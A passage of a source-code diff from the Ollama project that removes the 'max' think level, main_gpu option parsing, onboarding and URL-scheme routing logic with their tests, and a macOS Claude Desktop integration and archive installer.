-			NumGPU:          -1, // -1 here indicates that NumGPU should be set dynamically
-			NumThread:       0,  // let the runtime decide
-			DraftNumPredict: 4,
-			UseMMap:         nil,
+			NumCtx:    int(envconfig.ContextLength()),
+			NumBatch:  512,
+			NumGPU:    -1, // -1 here indicates that NumGPU should be set dynamically
+			NumThread: 0,  // let the runtime decide
+			UseMMap:   nil,
 		},
 	}
 }
 
-// ThinkValue represents a value that can be a boolean or a string ("high", "medium", "low", "max")
+// ThinkValue represents a value that can be a boolean or a string ("high", "medium", "low")
 type ThinkValue struct {
 	// Value can be a bool or string
 	Value interface{}
@@ -1138,7 +1057,7 @@ func (t *ThinkValue) IsValid() bool {
 	case bool:
 		return true
 	case string:
-		return v == "high" || v == "medium" || v == "low" || v == "max"
+		return v == "high" || v == "medium" || v == "low"
 	default:
 		return false
 	}
@@ -1172,8 +1091,8 @@ func (t *ThinkValue) Bool() bool {
 	case bool:
 		return v
 	case string:
-		// Any string value ("high", "medium", "low", "max") means thinking is enabled
-		return v == "high" || v == "medium" || v == "low" || v == "max"
+		// Any string value ("high", "medium", "low") means thinking is enabled
+		return v == "high" || v == "medium" || v == "low"
 	default:
 		return false
 	}
@@ -1211,14 +1130,14 @@ func (t *ThinkValue) UnmarshalJSON(data []byte) error {
 	var s string
 	if err := json.Unmarshal(data, &s); err == nil {
 		// Validate string values
-		if s != "high" && s != "medium" && s != "low" && s != "max" {
-			return fmt.Errorf("invalid think value: %q (must be \"high\", \"medium\", \"low\", \"max\", true, or false)", s)
+		if s != "high" && s != "medium" && s != "low" {
+			return fmt.Errorf("invalid think value: %q (must be \"high\", \"medium\", \"low\", true, or false)", s)
 		}
 		t.Value = s
 		return nil
 	}
 
-	return fmt.Errorf("think must be a boolean or string (\"high\", \"medium\", \"low\", \"max\", true, or false)")
+	return fmt.Errorf("think must be a boolean or string (\"high\", \"medium\", \"low\", true, or false)")
 }
 
 // MarshalJSON implements json.Marshaler
@@ -1321,20 +1240,14 @@ func FormatParams(params map[string][]string) (map[string]any, error) {
 					// TODO: only string slices are supported right now
 					out[key] = vals
 				case reflect.Pointer:
-					switch field.Type().Elem().Kind() {
-					case reflect.Bool:
+					var b bool
+					if field.Type() == reflect.TypeOf(&b) {
 						boolVal, err := strconv.ParseBool(vals[0])
 						if err != nil {
 							return nil, fmt.Errorf("invalid bool value %s", vals)
 						}
 						out[key] = &boolVal
-					case reflect.Int:
-						intVal, err := strconv.ParseInt(vals[0], 10, 64)
-						if err != nil {
-							return nil, fmt.Errorf("invalid int value %s", vals)
-						}
-						out[key] = intVal
-					default:
+					} else {
 						return nil, fmt.Errorf("unknown type %s for %s", field.Kind(), key)
 					}
 				default:

api/types_test.go

@@ -20,10 +20,6 @@ func testPropsMap(m map[string]ToolProperty) *ToolPropertiesMap {
 	return props
 }
 
-func testIntPtr(v int) *int {
-	return &v
-}
-
 // testArgs creates ToolCallFunctionArguments from a map (convenience function for tests, order not preserved)
 func testArgs(m map[string]any) ToolCallFunctionArguments {
 	args := NewToolCallFunctionArguments()
@@ -172,47 +168,6 @@ func TestUseMmapParsingFromJSON(t *testing.T) {
 	}
 }
 
-func TestMainGPUParsingFromJSON(t *testing.T) {
-	tests := []struct {
-		name    string
-		req     string
-		wantGPU *int
-	}{
-		{
-			name: "Undefined",
-			req:  `{}`,
-		},
-		{
-			name:    "Zero",
-			req:     `{ "main_gpu": 0 }`,
-			wantGPU: testIntPtr(0),
-		},
-		{
-			name:    "Nonzero",
-			req:     `{ "main_gpu": 1 }`,
-			wantGPU: testIntPtr(1),
-		},
-	}
-
-	for _, test := range tests {
-		t.Run(test.name, func(t *testing.T) {
-			var oMap map[string]any
-			err := json.Unmarshal([]byte(test.req), &oMap)
-			require.NoError(t, err)
-
-			opts := DefaultOptions()
-			err = opts.FromMap(oMap)
-			require.NoError(t, err)
-
-			if test.wantGPU == nil {
-				assert.Nil(t, opts.MainGPU)
-			} else if assert.NotNil(t, opts.MainGPU) {
-				assert.Equal(t, *test.wantGPU, *opts.MainGPU)
-			}
-		})
-	}
-}
-
 func TestUseMmapFormatParams(t *testing.T) {
 	tr := true
 	fa := false
@@ -277,12 +232,6 @@ func TestUseMmapFormatParams(t *testing.T) {
 	}
 }
 
-func TestMainGPUFormatParams(t *testing.T) {
-	resp, err := FormatParams(map[string][]string{"main_gpu": {"0"}})
-	require.NoError(t, err)
-	assert.Equal(t, int64(0), resp["main_gpu"])
-}
-
 func TestMessage_UnmarshalJSON(t *testing.T) {
 	tests := []struct {
 		input    string
@@ -546,11 +495,6 @@ func TestThinking_UnmarshalJSON(t *testing.T) {
 			input:            `{ "think": "low" }`,
 			expectedThinking: &ThinkValue{Value: "low"},
 		},
-		{
-			name:             "string_max",
-			input:            `{ "think": "max" }`,
-			expectedThinking: &ThinkValue{Value: "max"},
-		},
 		{
 			name:             "invalid_string",
 			input:            `{ "think": "invalid" }`,

app/README.md

@@ -75,9 +75,9 @@ The `-dev` flag enables:
 CI builds with Xcode 14.1 for OS compatibility prior to v13.  If you want to manually build v11+ support, you can download the older Xcode [here](https://developer.apple.com/services-account/download?path=/Developer_Tools/Xcode_14.1/Xcode_14.1.xip), extract, then `mv ./Xcode.app /Applications/Xcode_14.1.0.app` then activate with:
 
 ```
-export CGO_CFLAGS="-O3 -mmacosx-version-min=12.0"
-export CGO_CXXFLAGS="-O3 -mmacosx-version-min=12.0"
-export CGO_LDFLAGS="-mmacosx-version-min=12.0"
+export CGO_CFLAGS=-mmacosx-version-min=12.0
+export CGO_CXXFLAGS=-mmacosx-version-min=12.0
+export CGO_LDFLAGS=-mmacosx-version-min=12.0
 export SDKROOT=/Applications/Xcode_14.1.0.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk
 export DEVELOPER_DIR=/Applications/Xcode_14.1.0.app/Contents/Developer
 ```

app/cmd/app/app.go

@@ -35,7 +35,6 @@ import (
 var (
 	wv           = &Webview{}
 	uiServerPort int
-	appStore     *store.Store
 )
 
 var debug = strings.EqualFold(os.Getenv("OLLAMA_DEBUG"), "true") || os.Getenv("OLLAMA_DEBUG") == "1"
@@ -146,10 +145,19 @@ func main() {
 	// Do this after logging is set up so we can debug issues
 	if runtime.GOOS == "windows" && urlSchemeRequest != "" {
 		slog.Debug("checking for existing instance", "url", urlSchemeRequest)
-		// This exits after forwarding the request when another instance is
-		// running. First-instance requests are handled later by osRun, after the
-		// Windows UI dependencies are initialized and from the primary thread.
-		checkAndHandleExistingInstance(urlSchemeRequest)
+		if checkAndHandleExistingInstance(urlSchemeRequest) {
+			// The function will exit if it successfully sends to another instance
+			// If we reach here, we're the first/only instance
+		} else {
+			// No existing instance found, handle the URL scheme in this instance
+			go func() {
+				handleURLSchemeInCurrentInstance(urlSchemeRequest)
+			}()
+		}
+	}
+
+	if u := os.Getenv("OLLAMA_UPDATE_URL"); u != "" {
+		updater.UpdateCheckURLBase = u
 	}
 
 	// Detect if this is a first start after an upgrade, in
@@ -200,13 +208,6 @@ func main() {
 	uiServerPort = port
 
 	st := &store.Store{}
-	if devMode {
-		if dbPath := strings.TrimSpace(os.Getenv("OLLAMA_APP_DB_PATH")); dbPath != "" {
-			st.DBPath = dbPath
-			slog.Debug("using development app database", "path", dbPath)
-		}
-	}
-	appStore = st
 
 	// Enable CORS in development mode
 	if devMode {
@@ -252,8 +253,6 @@ func main() {
 		done <- osrv.Run(octx)
 	}()
 
-	upd := &updater.Updater{Store: st}
-
 	uiServer := ui.Server{
 		Token: token,
 		Restart: func() {
@@ -268,10 +267,6 @@ func main() {
 		ToolRegistry: toolRegistry,
 		Dev:          devMode,
 		Logger:       slog.Default(),
-		Updater:      upd,
-		UpdateAvailableFunc: func() {
-			UpdateAvailable("")
-		},
 	}
 
 	srv := &http.Server{
@@ -289,20 +284,8 @@ func main() {
 		slog.Debug("background desktop server done")
 	}()
 
-	upd.StartBackgroundUpdaterChecker(ctx, UpdateAvailable)
-
-	// Check for pending updates on startup (show tray notification if update is ready)
-	if updater.IsUpdatePending() {
-		// On Windows, the tray is initialized in osRun(). Calling UpdateAvailable
-		// before that would dereference a nil tray callback.
-		// TODO: refactor so the update check runs after platform init on all platforms.
-		if runtime.GOOS == "windows" {
-			slog.Debug("update pending on startup, deferring tray notification until tray initialization")
-		} else {
-			slog.Debug("update pending on startup, showing tray notification")
-			UpdateAvailable("")
-		}
-	}
+	updater := &updater.Updater{Store: st}
+	updater.StartBackgroundUpdaterChecker(ctx, UpdateAvailable)
 
 	hasCompletedFirstRun, err := st.HasCompletedFirstRun()
 	if err != nil {
@@ -325,11 +308,11 @@ func main() {
 		quit()
 	}()
 
-	if urlSchemeRequest != "" && runtime.GOOS != "windows" {
+	if urlSchemeRequest != "" {
 		go func() {
 			handleURLSchemeInCurrentInstance(urlSchemeRequest)
 		}()
-	} else if urlSchemeRequest == "" {
+	} else {
 		slog.Debug("no URL scheme request to handle")
 	}
 
@@ -344,13 +327,7 @@ func main() {
 		}
 	}()
 
-	settings, settingsErr := st.Settings()
-	showOnboarding := shouldShowOnboarding(settings, settingsErr)
-	if settingsErr != nil {
-		slog.Error("failed to load onboarding state", "error", settingsErr)
-	}
-
-	osRun(cancel, hasCompletedFirstRun, startHidden, showOnboarding, urlSchemeRequest)
+	osRun(cancel, hasCompletedFirstRun, startHidden)
 
 	slog.Info("shutting down desktop server")
 	if err := srv.Close(); err != nil {
@@ -362,33 +339,6 @@ func main() {
 	<-done
 }
 
-func shouldShowOnboarding(settings store.Settings, err error) bool {
-	return err != nil || settings.OnboardingVersion < store.CurrentOnboardingVersion
-}
-
-func runInitialWindowsUI(
-	startHidden bool,
-	showOnboarding bool,
-	urlSchemeRequest string,
-	startHiddenFn func(),
-	handleURLFn func(string),
-	showUIFn func(string),
-) {
-	if urlSchemeRequest != "" {
-		handleURLFn(urlSchemeRequest)
-		return
-	}
-	if startHidden {
-		startHiddenFn()
-		return
-	}
-	if showOnboarding {
-		showUIFn("/")
-		return
-	}
-	showUIFn("/connect")
-}
-
 func startHiddenTasks() {
 	// If an upgrade is ready and we're in hidden mode, perform it at startup.
 	// If we're not in hidden mode, we want to start as fast as possible and not
@@ -398,18 +348,7 @@ func startHiddenTasks() {
 			// CLI triggered app startup use-case
 			slog.Info("deferring pending update for fast startup")
 		} else {
-			// Check if auto-update is enabled before automatically upgrading
-			settings, err := appStore.Settings()
-			if err != nil {
-				slog.Warn("failed to load settings for upgrade check", "error", err)
-			} else if !settings.AutoUpdateEnabled {
-				slog.Info("auto-update disabled, skipping automatic upgrade at startup")
-				// Still show tray notification so user knows update is ready
-				UpdateAvailable("")
-				return
-			}
-
-			if err := updater.DoUpgradeAtStartup(); err != nil { //nolint:staticcheck,nolintlint // DoUpgradeAtStartup may always return non-nil on Windows
+			if err := updater.DoUpgradeAtStartup(); err != nil {
 				slog.Info("unable to perform upgrade at startup", "error", err)
 				// Make sure the restart to upgrade menu shows so we can attempt an interactive upgrade to get authorization
 				UpdateAvailable("")
@@ -466,7 +405,7 @@ func checkUserLoggedIn(uiServerPort int) bool {
 func handleConnectURLScheme() {
 	if checkUserLoggedIn(uiServerPort) {
 		slog.Info("user is already logged in, opening app instead")
-		openUI("/")
+		showWindow(wv.webview.Window())
 		return
 	}
 
@@ -525,23 +464,17 @@ func parseURLScheme(urlSchemeRequest string) (isConnect bool, err error) {
 
 // handleURLSchemeInCurrentInstance processes URL scheme requests in the current instance
 func handleURLSchemeInCurrentInstance(urlSchemeRequest string) {
-	err := dispatchURLSchemeRequest(urlSchemeRequest, handleConnectURLScheme, func() {
-		openUI("/")
-	})
-	if err != nil {
-		slog.Error("failed to parse URL scheme request", "url", urlSchemeRequest, "error", err)
-	}
-}
-
-func dispatchURLSchemeRequest(urlSchemeRequest string, connect, open func()) error {
 	isConnect, err := parseURLScheme(urlSchemeRequest)
 	if err != nil {
-		return err
+		slog.Error("failed to parse URL scheme request", "url", urlSchemeRequest, "error", err)
+		return
 	}
+
 	if isConnect {
-		connect()
+		handleConnectURLScheme()
 	} else {
-		open()
+		if wv.webview != nil {
+			showWindow(wv.webview.Window())
+		}
 	}
-	return nil
 }

app/cmd/app/app_darwin.h

@@ -16,9 +16,8 @@ enum AppMove
     MoveError,
 };
 
-void run(bool showOnboarding, bool startHidden);
+void run(bool firstTimeRun, bool startHidden);
 void killOtherInstances();
-bool otherOllamaInstanceRunning(void);
 enum AppMove askToMoveToApplications();
 int createSymlinkWithAuthorization();
 int installSymlink(const char *cliPath);
@@ -26,7 +25,6 @@ extern void Restart();
 // extern void Quit();
 void StartUI(const char *path);
 void ShowUI();
-bool IsOnboardingActive(void);
 void StopUI();
 void StartUpdate();
 void darwinStartHiddenTasks();
@@ -40,30 +38,6 @@ void setWindowDelegate(void *window);
 void showWindow(uintptr_t wndPtr);
 void hideWindow(uintptr_t wndPtr);
 void styleWindow(uintptr_t wndPtr);
-void setWindowResizable(uintptr_t wndPtr, bool resizable);
 void drag(uintptr_t wndPtr);
 void doubleClick(uintptr_t wndPtr);
 void handleConnectURL();
-bool SetClaudeGatewayInstalled(bool installed, bool restartClaude);
-bool HasUsedClaudeDesktopIntegration(void);
-bool RestoreClaudeGatewayForShutdown(void);
-bool IsClaudeGatewayConfigured(void);
-bool IsClaudeDesktopInstalled(void);
-bool IsClaudeDesktopRunning(void);
-bool ClaudeGatewayStartFailed(void);
-bool ClaudeGatewayPortConflict(void);
-char *ClaudeGatewayErrorMessage(void);
-int ClaudeGatewayPort(void);
-void RefreshClaudeProxyMenu(void);
-void updateClaudeProxyMenu(unsigned long long routed);
-bool ShowAppsInMenu(void);
-void SetShowAppsInMenu(bool visible);
-enum ClaudeInstallResult
-{
-    ClaudeInstallCancelled,
-    ClaudeInstallerOpened,
-    ClaudeInstallFailed,
-};
-enum ClaudeInstallResult installClaudeDesktop(void);
-char *ClaudeDesktopDownloadURL(void);
-bool InstallClaudeDesktopArchive(const char *archivePath);

app/cmd/app/app_test.go

@@ -1,140 +0,0 @@
-//go:build windows || darwin
-
-package main
-
-import (
-	"errors"
-	"testing"
-
-	"github.com/ollama/ollama/app/store"
-)
-
-func TestShouldShowOnboarding(t *testing.T) {
-	tests := []struct {
-		name     string
-		settings store.Settings
-		err      error
-		want     bool
-	}{
-		{
-			name:     "fresh install",
-			settings: store.Settings{OnboardingVersion: 0},
-			want:     true,
-		},
-		{
-			name:     "completed onboarding",
-			settings: store.Settings{OnboardingVersion: store.CurrentOnboardingVersion},
-			want:     false,
-		},
-		{
-			name: "settings failure",
-			err:  errors.New("settings unavailable"),
-			want: true,
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			if got := shouldShowOnboarding(tt.settings, tt.err); got != tt.want {
-				t.Fatalf("shouldShowOnboarding() = %v, want %v", got, tt.want)
-			}
-		})
-	}
-}
-
-func TestDispatchURLSchemeRequest(t *testing.T) {
-	tests := []struct {
-		name        string
-		request     string
-		wantConnect bool
-		wantOpen    bool
-		wantErr     bool
-	}{
-		{name: "bare URL opens app", request: "ollama://", wantOpen: true},
-		{name: "connect URL starts connection", request: "ollama://connect", wantConnect: true},
-		{name: "unsupported URL", request: "ollama://unsupported", wantErr: true},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			connected := false
-			opened := false
-			err := dispatchURLSchemeRequest(
-				tt.request,
-				func() { connected = true },
-				func() { opened = true },
-			)
-			if (err != nil) != tt.wantErr {
-				t.Fatalf("dispatchURLSchemeRequest() error = %v, wantErr %v", err, tt.wantErr)
-			}
-			if connected != tt.wantConnect {
-				t.Errorf("connect called = %v, want %v", connected, tt.wantConnect)
-			}
-			if opened != tt.wantOpen {
-				t.Errorf("open called = %v, want %v", opened, tt.wantOpen)
-			}
-		})
-	}
-}
-
-func TestRunInitialWindowsUIWithBareURL(t *testing.T) {
-	hiddenCalls := 0
-	urlCalls := 0
-	onboardingCalls := 0
-	openCalls := 0
-
-	runInitialWindowsUI(
-		false,
-		true,
-		"ollama://",
-		func() { hiddenCalls++ },
-		func(request string) {
-			urlCalls++
-			if err := dispatchURLSchemeRequest(request, func() {}, func() { openCalls++ }); err != nil {
-				t.Fatalf("dispatchURLSchemeRequest() error = %v", err)
-			}
-		},
-		func(path string) {
-			onboardingCalls++
-		},
-	)
-
-	if urlCalls != 1 {
-		t.Fatalf("URL handled %d times, want 1", urlCalls)
-	}
-	if openCalls != 1 {
-		t.Errorf("app opened %d times, want 1", openCalls)
-	}
-	if hiddenCalls != 0 {
-		t.Errorf("hidden startup called %d times, want 0", hiddenCalls)
-	}
-	if onboardingCalls != 0 {
-		t.Errorf("onboarding opened %d times, want 0", onboardingCalls)
-	}
-}
-
-func TestRunInitialWindowsUIRoutesInteractiveLaunch(t *testing.T) {
-	for _, tt := range []struct {
-		name           string
-		showOnboarding bool
-		wantPath       string
-	}{
-		{name: "fresh install preserves onboarding", showOnboarding: true, wantPath: "/"},
-		{name: "returning launch opens apps", wantPath: "/connect"},
-	} {
-		t.Run(tt.name, func(t *testing.T) {
-			var gotPath string
-			runInitialWindowsUI(
-				false,
-				tt.showOnboarding,
-				"",
-				func() { t.Fatal("unexpected hidden startup") },
-				func(string) { t.Fatal("unexpected URL handling") },
-				func(path string) { gotPath = path },
-			)
-			if gotPath != tt.wantPath {
-				t.Fatalf("initial UI path = %q, want %q", gotPath, tt.wantPath)
-			}
-		})
-	}
-}

app/cmd/app/app_windows.go

@@ -95,15 +95,11 @@ func (ac *appCallbacks) UIRun(path string) {
 }
 
 func (*appCallbacks) UIShow() {
-	openUI("/")
-}
-
-func openUI(path string) {
-	if wv.IsRunning() && wv.webview != nil {
+	if wv.webview != nil {
 		showWindow(wv.webview.Window())
-		return
+	} else {
+		wv.Run("/")
 	}
-	wv.Run(path)
 }
 
 func (*appCallbacks) UITerminate() {
@@ -114,10 +110,6 @@ func (*appCallbacks) UIRunning() bool {
 	return wv.IsRunning()
 }
 
-func (*appCallbacks) UIOnboarding() bool {
-	return wv.OnboardingActive()
-}
-
 func (app *appCallbacks) Quit() {
 	app.t.Quit()
 	wv.Terminate()
@@ -134,7 +126,7 @@ func (app *appCallbacks) DoUpdate() {
 
 	app.shutdown()
 
-	if err := updater.DoUpgrade(true); err != nil { //nolint:staticcheck,nolintlint // DoUpgrade may always return non-nil on Windows
+	if err := updater.DoUpgrade(true); err != nil {
 		slog.Warn(fmt.Sprintf("upgrade attempt failed: %s", err))
 	}
 }
@@ -146,18 +138,26 @@ func (app *appCallbacks) HandleURLScheme(urlScheme string) {
 
 // handleURLSchemeRequest processes URL scheme requests from other instances
 func handleURLSchemeRequest(urlScheme string) {
-	handleURLSchemeInCurrentInstance(urlScheme)
+	isConnect, err := parseURLScheme(urlScheme)
+	if err != nil {
+		slog.Error("failed to parse URL scheme request", "url", urlScheme, "error", err)
+		return
+	}
+
+	if isConnect {
+		handleConnectURLScheme()
+	} else {
+		if wv.webview != nil {
+			showWindow(wv.webview.Window())
+		}
+	}
 }
 
 func UpdateAvailable(ver string) error {
-	if app.t == nil {
-		slog.Debug("tray not yet initialized, skipping update notification")
-		return nil
-	}
 	return app.t.UpdateAvailable(ver)
 }
 
-func osRun(shutdown func(), hasCompletedFirstRun, startHidden, showOnboarding bool, urlSchemeRequest string) {
+func osRun(shutdown func(), hasCompletedFirstRun, startHidden bool) {
 	var err error
 	app.shutdown = shutdown
 	app.t, err = wintray.NewTray(app)
@@ -165,14 +165,6 @@ func osRun(shutdown func(), hasCompletedFirstRun, startHidden, showOnboarding bo
 		log.Fatalf("Failed to start: %s", err)
 	}
 
-	// Check for pending updates now that the tray is initialized.
-	// The platform-independent check in app.go fires before osRun,
-	// when app.t is still nil, so we must re-check here.
-	if updater.IsUpdatePending() {
-		slog.Debug("update pending on startup, showing tray notification")
-		UpdateAvailable("")
-	}
-
 	signals := make(chan os.Signal, 1)
 	signal.Notify(signals, syscall.SIGINT, syscall.SIGTERM)
 
@@ -201,8 +193,10 @@ func osRun(shutdown func(), hasCompletedFirstRun, startHidden, showOnboarding bo
 			}
 		}
 	}
-	runInitialWindowsUI(startHidden, showOnboarding, urlSchemeRequest, startHiddenTasks, handleURLSchemeInCurrentInstance, func(path string) {
-		ptr := wv.Run(path)
+	if startHidden {
+		startHiddenTasks()
+	} else {
+		ptr := wv.Run("/")
 
 		// Set the window icon using the tray icon
 		if ptr != nil {
@@ -219,7 +213,7 @@ func osRun(shutdown func(), hasCompletedFirstRun, startHidden, showOnboarding bo
 		}
 
 		centerWindow(ptr)
-	})
+	}
 
 	if !hasCompletedFirstRun {
 		// Only create the login shortcut on first start
@@ -402,8 +396,6 @@ func hideWindow(ptr unsafe.Pointer) {
 	}
 }
 
-func setOnboardingWindowStyle(_ unsafe.Pointer, _ bool) {}
-
 func runInBackground() {
 	exe, err := os.Executable()
 	if err != nil {
@@ -428,13 +420,17 @@ func drag(ptr unsafe.Pointer) {}
 func doubleClick(ptr unsafe.Pointer) {}
 
 // checkAndHandleExistingInstance checks if another instance is running and sends the URL to it
-func checkAndHandleExistingInstance(urlSchemeRequest string) {
+func checkAndHandleExistingInstance(urlSchemeRequest string) bool {
 	if urlSchemeRequest == "" {
-		return
+		return false
 	}
 
 	// Try to send URL to existing instance using wintray messaging
 	if wintray.CheckAndSendToExistingInstance(urlSchemeRequest) {
 		os.Exit(0)
+		return true
 	}
+
+	// No existing instance, we'll handle it ourselves
+	return false
 }

app/cmd/app/claude_desktop_bindings_darwin.go

@@ -1,61 +0,0 @@
-//go:build darwin
-
-package main
-
-import "github.com/ollama/ollama/app/webview"
-
-func bindClaudeDesktop(wv webview.WebView) {
-	wv.Bind("getClaudeDesktopStatus", func() claudeDesktopStatus {
-		return getClaudeDesktopConnectionStatus()
-	})
-
-	wv.Bind("setClaudeDesktopConnected", func(enabled bool) claudeDesktopActionResult {
-		err := setClaudeDesktopConnection(enabled)
-		result := claudeDesktopActionResult{
-			Status: getClaudeDesktopConnectionStatus(),
-		}
-		if err != nil {
-			result.Error = err.Error()
-		}
-		return result
-	})
-
-	wv.Bind("prepareClaudeDesktopConnection", func() claudeDesktopActionResult {
-		err := prepareClaudeDesktopConnection()
-		result := claudeDesktopActionResult{
-			Status: getClaudeDesktopConnectionStatus(),
-		}
-		if err != nil {
-			result.Error = err.Error()
-		}
-		return result
-	})
-
-	wv.Bind("openClaudeDesktop", func() string {
-		if err := openClaudeDesktopApplication(); err != nil {
-			return err.Error()
-		}
-		return ""
-	})
-
-	wv.Bind("installClaudeDesktop", func() claudeDesktopInstallResult {
-		return requestClaudeDesktopInstall()
-	})
-
-	wv.Bind("restartClaudeDesktop", func(models []string) claudeDesktopActionResult {
-		err := restartClaudeDesktopWithModels(models)
-		result := claudeDesktopActionResult{Status: getClaudeDesktopConnectionStatus()}
-		if err != nil {
-			result.Error = err.Error()
-		}
-		return result
-	})
-
-	wv.Bind("getShowAppsInMenu", func() bool {
-		return getShowAppsInMenu()
-	})
-
-	wv.Bind("setShowAppsInMenu", func(visible bool) {
-		setShowAppsInMenu(visible)
-	})
-}

app/cmd/app/claude_desktop_bindings_windows.go

@@ -1,7 +0,0 @@
-//go:build windows
-
-package main
-
-import "github.com/ollama/ollama/app/webview"
-
-func bindClaudeDesktop(_ webview.WebView) {}

app/cmd/app/claude_desktop_installer_darwin.go

@@ -1,252 +0,0 @@
-//go:build darwin
-
-package main
-
-import (
-	"archive/zip"
-	"errors"
-	"fmt"
-	"io"
-	"os"
-	"os/exec"
-	"path/filepath"
-	"strings"
-)
-
-const (
-	maxClaudeDesktopArchiveBytes = 1 << 30
-	maxClaudeDesktopExtractBytes = 2 << 30
-	maxClaudeDesktopArchiveFiles = 100_000
-	claudeDesktopBundleID        = "com.anthropic.claudefordesktop"
-	claudeDesktopTeamID          = "Q6L2SF6YDW"
-)
-
-var errClaudeDesktopDestinationExists = errors.New("Claude Desktop installation destination already exists")
-
-func claudeDesktopInstallDestinations() []string {
-	destinations := []string{"/Applications/Claude.app"}
-	if home, err := os.UserHomeDir(); err == nil {
-		destinations = append(destinations, filepath.Join(home, "Applications", "Claude.app"))
-	}
-	return destinations
-}
-
-func installClaudeDesktopZip(archivePath string, destinations []string, verify func(string) error) (string, error) {
-	if len(destinations) == 0 {
-		return "", errors.New("Claude Desktop installation destination is required")
-	}
-	if verify == nil {
-		return "", errors.New("Claude Desktop bundle verifier is required")
-	}
-	info, err := os.Stat(archivePath)
-	if err != nil {
-		return "", fmt.Errorf("stat Claude Desktop archive: %w", err)
-	}
-	if !info.Mode().IsRegular() {
-		return "", errors.New("Claude Desktop archive is not a regular file")
-	}
-	if info.Size() > maxClaudeDesktopArchiveBytes {
-		return "", fmt.Errorf("Claude Desktop archive exceeds %d bytes", maxClaudeDesktopArchiveBytes)
-	}
-
-	workDir, err := os.MkdirTemp("", "ollama-claude-install-")
-	if err != nil {
-		return "", fmt.Errorf("create Claude Desktop installation directory: %w", err)
-	}
-	defer os.RemoveAll(workDir)
-
-	if err := extractClaudeDesktopZip(archivePath, workDir); err != nil {
-		return "", err
-	}
-	bundlePath := filepath.Join(workDir, "Claude.app")
-	if err := validateClaudeDesktopBundle(bundlePath); err != nil {
-		return "", err
-	}
-	if err := verify(bundlePath); err != nil {
-		return "", fmt.Errorf("verify Claude Desktop signature: %w", err)
-	}
-
-	var permissionErr error
-	for _, destination := range destinations {
-		if strings.TrimSpace(destination) == "" {
-			continue
-		}
-		if _, err := os.Stat(destination); err == nil {
-			return "", fmt.Errorf("%w: %s", errClaudeDesktopDestinationExists, destination)
-		} else if !errors.Is(err, os.ErrNotExist) {
-			return "", fmt.Errorf("check Claude Desktop destination %s: %w", destination, err)
-		}
-		if err := os.MkdirAll(filepath.Dir(destination), 0o755); err != nil {
-			if errors.Is(err, os.ErrPermission) {
-				permissionErr = err
-				continue
-			}
-			return "", fmt.Errorf("create Claude Desktop destination: %w", err)
-		}
-		if err := os.Rename(bundlePath, destination); err != nil {
-			if errors.Is(err, os.ErrPermission) {
-				permissionErr = err
-				continue
-			}
-			return "", fmt.Errorf("move Claude Desktop to %s: %w", destination, err)
-		}
-		return destination, nil
-	}
-	if permissionErr != nil {
-		return "", fmt.Errorf("install Claude Desktop in Applications: %w", permissionErr)
-	}
-	return "", errors.New("Claude Desktop installation destination is required")
-}
-
-func extractClaudeDesktopZip(archivePath, destination string) error {
-	reader, err := zip.OpenReader(archivePath)
-	if err != nil {
-		return fmt.Errorf("open Claude Desktop archive: %w", err)
-	}
-	defer reader.Close()
-	if len(reader.File) == 0 {
-		return errors.New("Claude Desktop archive is empty")
-	}
-	if len(reader.File) > maxClaudeDesktopArchiveFiles {
-		return fmt.Errorf("Claude Desktop archive contains more than %d files", maxClaudeDesktopArchiveFiles)
-	}
-
-	var expanded uint64
-	for _, file := range reader.File {
-		clean, err := safeClaudeDesktopArchivePath(file.Name)
-		if err != nil {
-			return err
-		}
-		expanded += file.UncompressedSize64
-		if expanded > maxClaudeDesktopExtractBytes {
-			return fmt.Errorf("Claude Desktop archive expands beyond %d bytes", maxClaudeDesktopExtractBytes)
-		}
-		path := filepath.Join(destination, filepath.FromSlash(clean))
-		switch {
-		case file.FileInfo().IsDir():
-			if err := os.MkdirAll(path, file.Mode().Perm()); err != nil {
-				return fmt.Errorf("create Claude Desktop archive directory: %w", err)
-			}
-		case file.Mode()&os.ModeSymlink != 0:
-			target, err := readClaudeDesktopZipFile(file, 16<<10)
-			if err != nil {
-				return fmt.Errorf("read Claude Desktop archive symlink: %w", err)
-			}
-			if err := validateClaudeDesktopSymlink(clean, string(target)); err != nil {
-				return err
-			}
-			if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
-				return fmt.Errorf("create Claude Desktop archive directory: %w", err)
-			}
-			if err := os.Symlink(string(target), path); err != nil {
-				return fmt.Errorf("create Claude Desktop archive symlink: %w", err)
-			}
-		case file.Mode().IsRegular():
-			if err := extractClaudeDesktopZipFile(file, path); err != nil {
-				return err
-			}
-		default:
-			return fmt.Errorf("Claude Desktop archive contains unsupported file %q", file.Name)
-		}
-	}
-	return nil
-}
-
-func safeClaudeDesktopArchivePath(name string) (string, error) {
-	if strings.ContainsRune(name, '\x00') || filepath.IsAbs(name) {
-		return "", fmt.Errorf("Claude Desktop archive contains unsafe path %q", name)
-	}
-	clean := filepath.ToSlash(filepath.Clean(name))
-	if clean != "Claude.app" && !strings.HasPrefix(clean, "Claude.app/") {
-		return "", fmt.Errorf("Claude Desktop archive contains unexpected path %q", name)
-	}
-	return clean, nil
-}
-
-func validateClaudeDesktopSymlink(name, target string) error {
-	if target == "" || filepath.IsAbs(target) {
-		return fmt.Errorf("Claude Desktop archive contains unsafe symlink %q", name)
-	}
-	resolved := filepath.Clean(filepath.Join(filepath.Dir(name), target))
-	resolved = filepath.ToSlash(resolved)
-	if resolved != "Claude.app" && !strings.HasPrefix(resolved, "Claude.app/") {
-		return fmt.Errorf("Claude Desktop archive symlink %q escapes Claude.app", name)
-	}
-	return nil
-}
-
-func extractClaudeDesktopZipFile(file *zip.File, path string) error {
-	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
-		return fmt.Errorf("create Claude Desktop archive directory: %w", err)
-	}
-	input, err := file.Open()
-	if err != nil {
-		return fmt.Errorf("open Claude Desktop archive file: %w", err)
-	}
-	output, err := os.OpenFile(path, os.O_CREATE|os.O_EXCL|os.O_WRONLY, file.Mode().Perm())
-	if err != nil {
-		input.Close()
-		return fmt.Errorf("create Claude Desktop archive file: %w", err)
-	}
-	_, copyErr := io.Copy(output, input)
-	inputErr := input.Close()
-	outputErr := output.Close()
-	if copyErr != nil {
-		return fmt.Errorf("extract Claude Desktop archive file: %w", copyErr)
-	}
-	if inputErr != nil {
